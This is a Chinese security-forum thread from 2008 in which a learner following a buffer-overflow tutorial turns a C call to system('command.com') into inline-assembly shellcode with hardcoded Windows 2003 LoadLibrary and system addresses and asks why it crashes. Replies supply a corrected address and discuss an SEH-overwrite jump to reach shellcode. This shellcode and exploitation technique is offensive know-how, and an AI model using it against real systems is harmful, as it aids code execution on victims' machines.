-
-
[求助]VC中的代码修改成内联汇编时，Loadlibrary方法发生错误。为什么？
-
发表于: 2008-5-16 12:40
-
我的操作系统是win2003 sp2
根据《Q版溢出教程》上做的修改，修改之后发生一个0x77b70000不能read的错误
可是为什么呢？
这个0x77b70000明明就是那个Loadlibrary 的地址啊……
而且我在周围同事的机器上（xp、2000也同样做了测试，同样作了修改，可是还是出现这个错误[错误的地址根据不同的操作系统Loadlibrary的地址不同而不同]）
源码：
修改后
根据《Q版溢出教程》上做的修改，修改之后发生一个0x77b70000不能read的错误
可是为什么呢？
这个0x77b70000明明就是那个Loadlibrary 的地址啊……
而且我在周围同事的机器上（xp、2000也同样做了测试，同样作了修改，可是还是出现这个错误[错误的地址根据不同的操作系统Loadlibrary的地址不同而不同]）
源码：
#include <windows.h>
#include <winbase.h>
typedef void (*MYPROC)(LPTSTR); //定义函数指针
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary(“msvcrt.dll”);
ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); //查找system函数地址
(ProcAdd) ("command.com"); //其实就是执行system(“command.com”)
return 0;
}
修改后
#include<windows.h>
void main()
{
__asm
{
//首先要LoadLibrary("msvcrt.dll");
push ebp
mov ebp,esp
xor eax,eax
push eax
push eax
push eax
mov byte ptr[ebp-0Ch],4Dh
mov byte ptr[ebp-0Bh],53h
mov byte ptr[ebp-0Ah],56h
mov byte ptr[ebp-09h],43h
mov byte ptr[ebp-08h],52h
mov byte ptr[ebp-07h],54h
mov byte ptr[ebp-06h],2Eh
mov byte ptr[ebp-05h],44h
mov byte ptr[ebp-04h],4Ch
mov byte ptr[ebp-03h],4Ch
lea eax,[ebp-0Ch]
push eax
mov edx,0x77b70000//win2003 sp2
call edx
//然后是开一个dos窗口：
push ebp
mov ebp, esp
sub esp, 0x2C
mov eax, 0x6D6D6F63
mov dword ptr [ebp-0x0C], eax
mov eax, 0x2E646E61
mov dword ptr [ebp-0x8], eax
mov eax, 0x226D6F63
mov dword ptr [ebp-0x4], eax
xor edx, edx
mov byte ptr [ebp-0x1], dl
lea eax, dword ptr [ebp-0xC]
push eax
mov eax, 0x77b8a083//win2003 sp2
call eax
}
exit(0);
}
|
|
|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
 一语道破，我把这个给忽略了……======================= 在这里做个记录，如果以后有人需要的话可以直接拿来用 windows 2003 的LoadLibrary地址是0x77E1850D |
|
|
|
|
|
|
|
|
答案一：在C语言中的十六进制是以\x后面跟2位数字（十六进制）来表示的
答案二：教程上那么写纯属是为了便于查看编码，这个没有什么硬性要求，我就是都写在了以行  我是懒的分行了建议你看下C语言的基础知识
|
|
|
  这里有想不明白的地方： “这里我们故意把返回地址覆盖成一个错误的地址。出错时Windows就会跳到处理错误的入口点，。。。”处理错误入口点是否就是图中“处理程序1地址”，如果是的话，那么JMP EBX后就到了ebx的地方，也就是“处理程序1地址”前4字节的地方，然后在这里写JMP 04不就又到了“处理程序1地址”？怎么会是“正好跳过覆盖值，达到我们的ShellCode”呢，我实在想不明白了。。。 |
|
|
 这两个图我没见过，可能是这块儿我还没看到吧……
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
